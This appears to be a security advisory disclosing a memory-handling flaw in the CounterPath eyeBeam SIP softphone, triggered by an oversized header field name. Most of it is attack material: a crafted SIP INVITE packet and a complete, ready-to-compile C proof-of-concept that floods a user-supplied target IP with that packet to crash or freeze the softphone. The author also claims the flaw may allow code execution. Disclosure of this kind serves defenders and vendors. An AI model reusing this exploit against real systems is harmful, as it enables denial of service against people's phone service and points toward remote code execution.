CounterPath eyeBeam Handing SIP header Vulnerabilities

[zwell () sohu com]

eyeBeam is a SIP softphone supporting open standards for VoIP, Video and Instant Messaging. 
There is a vunerability in it while handing SIP header with a large field name like this:
 
INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK00001249z9hG4bK.00004119
From: 1249 <sip:a@127.0.0.1>;tag=1249
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
 Receiver <sip:100012@172.16.1.1>
Call-ID: 4166@<172.16.3.6>   <--Change it to target IP
CSeq: 18571 INVITE
Expires: 1200
Max-Forwards: 70
Content-Type: application/sdp
Content-Length: 130

v=0
o=1249 1249 1249 IN IP4 127.0.0.1
s=Session SDP
c=IN IP4 127.0.0.1
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

If you send the packet(several times) to eyeBeam when it's starting and have no call opreation, 
then it will crashed for reading a unvalid address which we can control. 
If you send it(several times) when it's in a call, then it will be unresponse(will not dial and receive any more) or 
crashed for writing a address(cannot control it now, but it's possible, and as I think, it can lead to execute code).
It looks like some memory operation error exists.

Addtion : the lastest version is affected.

====================eyeBeam_dos.c========================

/*********************************************************
eyeBeam handling SIP header DOS POC
Author : ZwelL
Email : zwell () sohu com
Blog : http://www.donews.net/zwell
Data : 2006.1.15
*********************************************************/

#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

char *sendbuf1 = 
"INVITE sip:a@127.0.0.1 SIP/2.0\r\n"
"Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK00001249z9hG4bK.00004119\r\n"
"From: test <sip:a@127.0.0.1>;tag=1249\r\n"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaa: test <sip:a@127.0.0.1>\r\n";

char *sendbuf2 =
"CSeq: 18571 INVITE\r\n"
"Expires: 1200\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: 130\r\n"
"\r\n"
"v=0\r\n"
"o=1249 1249 1249 IN IP4 127.0.0.1\r\n"
"s=Session SDP\r\n"
"c=IN IP4 127.0.0.1\r\n"
"t=0 0\r\n"
"m=audio 9876 RTP/AVP 0\r\n"
"a=rtpmap:0 PCMU/8000\r\n";


int main(int argc, char **argv) 
{
    WSADATA wsaData;
    SOCKET    sock;
    sockaddr_in RecvAddr;
        char sendbuf[4096];
        int iResult;
        int port = 8376; //default is 8376, but SIP's default port is 5060

        printf("eyeBeam handling SIP header DOS POC\nAuthor : ZwelL\n");
        printf("Email : zwell () sohu com\nBlog : http://www.donews.net/zwell\n\n";);
        if(argc < 2)
        {
                printf("Usage : %s <target ip> [port]\n", argv[0]);
                return 0;
        }

        if(argc == 3)
                port = atoi(argv[2]);

    iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        {
        printf("Error at WSAStartup()\n");
                return 0;
        }

        sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

        ZeroMemory(&RecvAddr, sizeof(RecvAddr));
    RecvAddr.sin_family = AF_INET;
    RecvAddr.sin_port = htons((short)port); 
    RecvAddr.sin_addr.s_addr = inet_addr(argv[1]);

        printf("Target is : %s\t port is : %d\r\n", argv[1], port);
        for(int i=0; i<20; i++)
        {
                sprintf(sendbuf, "%sCall-ID: 4166@<%s>\r\n%s", sendbuf1, argv[1], sendbuf2);
                if(SOCKET_ERROR == sendto(sock, 
                                sendbuf, 
                                strlen(sendbuf), 
                                0, 
                                (SOCKADDR *) &RecvAddr, 
                                sizeof(RecvAddr)))
                {
                        printf("sendto wrong:%d\n", WSAGetLastError());
                        continue;
                }
        }
    
        printf("Now check the target is crafted?\r\n");

    WSACleanup();
    return 1;
}